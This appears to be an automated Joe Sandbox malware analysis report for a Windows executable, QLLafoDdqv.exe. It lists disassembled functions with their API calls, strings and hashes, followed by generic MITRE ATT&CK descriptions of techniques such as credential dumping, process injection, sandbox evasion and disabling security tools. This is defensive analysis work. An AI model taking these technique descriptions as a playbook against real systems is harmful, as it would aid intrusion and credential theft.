Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 559d64c93edb163c6a708ed535b0a48eb677e41e237ca7eb311fac5ad25c8fe7
Instruction ID: 9fb7c6079535bb392dd25087fbc61fb171528b6c80150ee07aec7863c1f1da1e
Opcode Fuzzy Hash: 559d64c93edb163c6a708ed535b0a48eb677e41e237ca7eb311fac5ad25c8fe7
Instruction Fuzzy Hash: 67118F71500248ABEB128E64DC44ABB7B6AEF05374F504324FD62931E0CB79DC55D754

Function 00736C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00736CB6
_wcslen.LIBCMT ref: 00736CC2

Strings

STOP, xrefs: 00736CBC, 00736CC1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 3534ddd493c9639bf4845917164db8fc284de755b1b78ada218143f0c87bbd91
Instruction ID: 88536fb71b3386e1935d9d56455dea9e4b6f74483a1bd23c55d658a4f7139fb9
Opcode Fuzzy Hash: 3534ddd493c9639bf4845917164db8fc284de755b1b78ada218143f0c87bbd91
Instruction Fuzzy Hash: 85010432B10526AADB21AFBDDC808BF77B5EA61714B004529E85296292EA39E800C760

Function 00731BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Part of subcall function 00733CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00733CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00731C46

Strings

ComboBox, xrefs: 00731BE5
ListBox, xrefs: 00731C10

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 62033c9b61dabb5e675a745da89209886e9d980bb17c98cd766979a6c4651087
Instruction ID: ce2ed5b33887f172cb3ee2702713faf09f5a97b6cbc0ff6224d0102d0443231d
Opcode Fuzzy Hash: 62033c9b61dabb5e675a745da89209886e9d980bb17c98cd766979a6c4651087
Instruction Fuzzy Hash: 0901F7B1B8010466DF18EBA0D951DFF73A89B11340F50141AB416632C2EA289E0887B5

Function 006EA4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006EA529

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Strings

3yr, xrefs: 006EA545, 006EA54D, 006EA552
,%z, xrefs: 006EA509

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%z$3yr
API String ID: 2551934079-955863410
Opcode ID: 2c4402e50c6b6e5617de2a358b820810c71575378733b799208fc222c24c016d
Instruction ID: a7edfe76951cb832cd2e0e8b42d4ed51f45b5ad6cc231fccb0dd3219fdbcb2c3
Opcode Fuzzy Hash: 2c4402e50c6b6e5617de2a358b820810c71575378733b799208fc222c24c016d
Instruction Fuzzy Hash: 0401F231B017549BD604F7A9E85BAAD3366AB46710F50046DF612572C3EE14AD028AAF

Function 00768172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,007A3018,007A305C), ref: 007681BF
CloseHandle.KERNEL32 ref: 007681D1

Strings

\0z, xrefs: 0076818A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0z
API String ID: 3712363035-4117864471
Opcode ID: a61c4887d1ae87d44d9d30118545c56bac6687de06d588077019c85d9200f800
Instruction ID: dcfd1650ff9f9dad5c39c1766fac693be47aafce6192e2c3c65a1f6bcf4a2800
Opcode Fuzzy Hash: a61c4887d1ae87d44d9d30118545c56bac6687de06d588077019c85d9200f800
Instruction Fuzzy Hash: 8FF05EF2640304BAF2206B61AC55FB77A5EEB46750F008425FB09D51A2D67E8A0086BD

Function 0075747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00757493
_wcslen.LIBCMT ref: 007574B9

Strings

3, 3, 16, 1, xrefs: 00757483

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 668f778a576d829853c95fb52ae7cc8b47ad75ac4e95dc629c2aaf48cae7b939
Instruction ID: 385c44522ca8449eb092b8a0874ad614c195783e724050bf3574240c502b062e
Opcode Fuzzy Hash: 668f778a576d829853c95fb52ae7cc8b47ad75ac4e95dc629c2aaf48cae7b939
Instruction Fuzzy Hash: CDE02B423142A01092791279BCC19BF578ACFC6751714182FFE85C2266EED88D91D3E4

Function 00730B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00730B23

Strings

Error allocating memory., xrefs: 00730B1C
AutoIt, xrefs: 00730B17

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 131052c1a3818fc4de7a040c59b1d7c23eacf3dbce4ed8f085bb07cc2c64a18f
Instruction ID: db5bb6c375a93d2569122dcf9fc21b6f71fd352c79be6d3f560ff1877fbf2cc8
Opcode Fuzzy Hash: 131052c1a3818fc4de7a040c59b1d7c23eacf3dbce4ed8f085bb07cc2c64a18f
Instruction Fuzzy Hash: 3FE0DF722853583BE3513795BC03F997A858F05B20F10442EFB88A95C38AEA389046ED

Function 006F0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006EF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,006F0D71,?,?,?,006D100A), ref: 006EF7CE

IsDebuggerPresent.KERNEL32(?,?,?,006D100A), ref: 006F0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,006D100A), ref: 006F0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 006F0D7F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 08586736283a9378a41a567f06ac25862b2519157e89f1f7dd5278a938f7f14a
Instruction ID: c89ad6e1c1728380409cfe396672cbd7fd08949ee8f91528d2ba984c61e2b0c2
Opcode Fuzzy Hash: 08586736283a9378a41a567f06ac25862b2519157e89f1f7dd5278a938f7f14a
Instruction Fuzzy Hash: 25E06D742003518FE7619FB9E8143667BE5BF04744F00892DE982C6656DBB9E4448B91

Function 006EE398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006EE3D5

Strings

0%z, xrefs: 006EE3B5
8%z, xrefs: 006EE3CA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%z$8%z
API String ID: 1385522511-2349322819
Opcode ID: 4190390cf1a6c48f1de5394a7e45111aae993ceb4ca50ec6c9f91f4c40954f51
Instruction ID: 3744494fa0a67f3dfa4f14a2a431c119b8d081dbc42e476797605829c0a387a6
Opcode Fuzzy Hash: 4190390cf1a6c48f1de5394a7e45111aae993ceb4ca50ec6c9f91f4c40954f51
Instruction Fuzzy Hash: 69E02639C09B54CBCA0CD71DB874A983397BB86320B1042F9E102876D3DB3A28438A5C

Function 0072D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0072D220

Strings

%.3d, xrefs: 0072D22B
X64, xrefs: 0072D2A8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 1823d0bf07577613be6fc554173f19c25d3abedaa6638b6d60d2e2043f11883e
Instruction ID: ee66dbbef33b84b311bd7062fc21563a31b46b20e366d64bca3fc53b704cf9fb
Opcode Fuzzy Hash: 1823d0bf07577613be6fc554173f19c25d3abedaa6638b6d60d2e2043f11883e
Instruction Fuzzy Hash: DDD012A1809268EACBA097E0EC498B9B3FCBB08301F608452F90692040D62CC908A761

Function 00762356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0076236C
PostMessageW.USER32(00000000), ref: 00762373

Part of subcall function 0073E97B: Sleep.KERNEL32 ref: 0073E9F3

Strings

Shell_TrayWnd, xrefs: 00762365

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 5f749bf7df67a6de6ab2796c857d9412b6678a646be30653d4a4d9f1e0fb9096
Instruction ID: 9eaab2e10343fe383bf4a067f1f56af5326f29a07584b892d261a9c81393eb2f
Opcode Fuzzy Hash: 5f749bf7df67a6de6ab2796c857d9412b6678a646be30653d4a4d9f1e0fb9096
Instruction Fuzzy Hash: 6BD0C972381310BAEA65B770EC0FFD67A149B04B10F108A56B687AA1D1C9E8B8018A58

Function 00762322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0076232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0076233F

Part of subcall function 0073E97B: Sleep.KERNEL32 ref: 0073E9F3

Strings

Shell_TrayWnd, xrefs: 00762325

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bf7602e66a36ccdc5d640188f58874fe06d0f56ff74ab4b7f44bd8ae54560674
Instruction ID: ce25b423a7a44cd15642b3326b928e59ee0dfa6404ea332435358f6cfadc79ab
Opcode Fuzzy Hash: bf7602e66a36ccdc5d640188f58874fe06d0f56ff74ab4b7f44bd8ae54560674
Instruction Fuzzy Hash: EDD01276394310B7EA64B770EC0FFD67A149B04B10F108A56B787AA1D1C9F8B801CB58

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QLLafoDdqv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

